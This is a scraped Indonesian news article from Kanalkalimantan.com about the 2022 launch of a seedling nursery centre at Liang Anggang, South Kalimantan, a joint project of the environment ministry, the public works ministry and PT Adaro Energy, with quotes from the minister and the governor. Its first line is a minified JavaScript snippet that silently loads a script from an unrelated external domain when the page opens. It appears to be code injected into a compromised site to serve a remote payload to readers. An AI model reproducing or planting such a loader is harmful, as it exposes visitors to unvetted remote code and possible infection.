(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Kementerian Lingkungan Hidup dan Kehutanan (LHK) melaksanakan peluncuran dan penandatanganan nota kesepahaman pembangunan pusat persemaian di Provinsi Kalimantan Selatan, Kamis (4/8/2022).
Kementerian Lingkungan Hidup dan Kehutanan (KLHK) telah menyiapkan lahan seluas 10-15 ha di Kawasan Hutan Lindung Liang Anggang, Kota Banjarbaru, Kalimantan Selatan sebagai lokasi pembangunan pusat persemaian dengan kapasitas produksi bibit lebih kurang 10 juta batang per tahun.
“Tadi juga sudah disebutkan bahwa bibit yang akan diproduksi yaitu Kasturi, Kapul, Ramania, Meranti, Ulin, Gaharu, juga tanaman estetika seperti Ketapang Kencana, Pucuk Merah, Tabebuya, Pohon Tanjung, dan tanaman penghasil hutan bukan kayu seperti Durian, Petai, Jengkol, Alpukat, dan lainnya,” ujar Menteri LHK Siti Nurbaya dalam sambutannya di Hotel Mulia, Senayan, Jakarta.
Pada kesempatan tersebut Menteri Siti juga memberikan tanggapannya bahwa Kementerian LHK sedang mengupayakan Hutan Hujan Tropis Kalimantan agar kembali (terjaga), apakah itu di IKN Kalimantan Timur maupun di Kalimantan Selatan.
Baca juga : Depo Arsip Kalsel Musnahkan 3.090 Berkas dari Tiga Instansi
“Kalimantan Selatan memang sudah banyak kerja lebih dulu, dan ini akan mewujudkan keaslian hutan alam Kalimantan,” ucap Menteri Siti.
Pembangunan Pusat Persemaian di Kalimantan Selatan ini dilakukan dengan mekanisme kerjasama antara pemerintah dan badan usaha, yaitu antara Kementerian LHK, Kementerian PUPR dan PT Adaro Energy Tbk.
Gubernur Kalimantan Selatan H. Sahbirin Noor lewat testimonya menyampaikan Pemerintah Provinsi Kalimantan Selatan mengapresiasi Kementerian LHK atas prakarsa pembangunan Pusat Persemaian Liang Anggang yang bekerjasama dengan Kementerian PUPR dan PT Adaro Energy Tbk.
“Kami harapkan Pusat Persemaian Liang Anggang akan mendorong percepatan pemulihan lingkungan di Kalimantan Selatan, sejalan dengan program Revolusi Hijau yang sudah berjalan, dan kami siap sekali untuk mendukung pembangunan serta pengembangan Pusat Persemaian Liang Anggang untuk Kalimantan Selatan Hijau, Revolusi Hijau dan Indonesia Hijau,” ucap Sahbirin.
Hadir dalam Acara Peluncuran dan Penandatanganan Nota Kesapahaman Pembangunan Pusat Persemaian ini, Sekretaris Jenderal KLHK, Direktur Jenderal Lingkup Kementerian LHK, Perwakilan Kementerian PUPR, para Penasihat Senior Menteri, Staf Ahli Menteri, Tenaga Ahli Menteri, Pejabat Eselon 2 KLHK, Presiden Direktur PT Adaro Energy Tbk, Kepala Dinas Kehutanan Provinsi Kalimantan Selatan, serta para bisnis leaders dari perusahaan terkait.(Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More
KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More
This website uses cookies.